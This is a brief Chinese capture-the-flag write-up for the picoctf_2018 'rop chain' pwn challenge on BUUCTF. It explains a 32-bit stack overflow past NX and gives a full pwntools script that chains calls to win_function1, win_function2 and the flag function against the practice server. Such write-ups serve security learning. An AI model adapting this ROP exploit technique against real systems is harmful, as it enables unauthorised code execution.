Buuctf(pwn) picoctf_2018_rop chain 栈溢出

32位，开启了NX保护

利用思路

首先溢出后覆盖ret为function1函数地址，将win1赋值为1，之后跳转到function2的地址，a1是传入的参数，将a1传入即可满足条件去设置win2的值为1，之后去执行flag函数，if要满足的条件之前都设置好了，可以直接读出flag

from pwn import *
r = remote("node3.buuoj.cn", 26602)
win_function1 = 0x080485CB
win_function2 = 0x080485D8
flag = 0x0804862B
payload = "a" * (0x18+4)
payload += p32(win_function1)
payload += p32(win_function2) + p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
r.sendlineafter("input> ", payload)
r.interactive()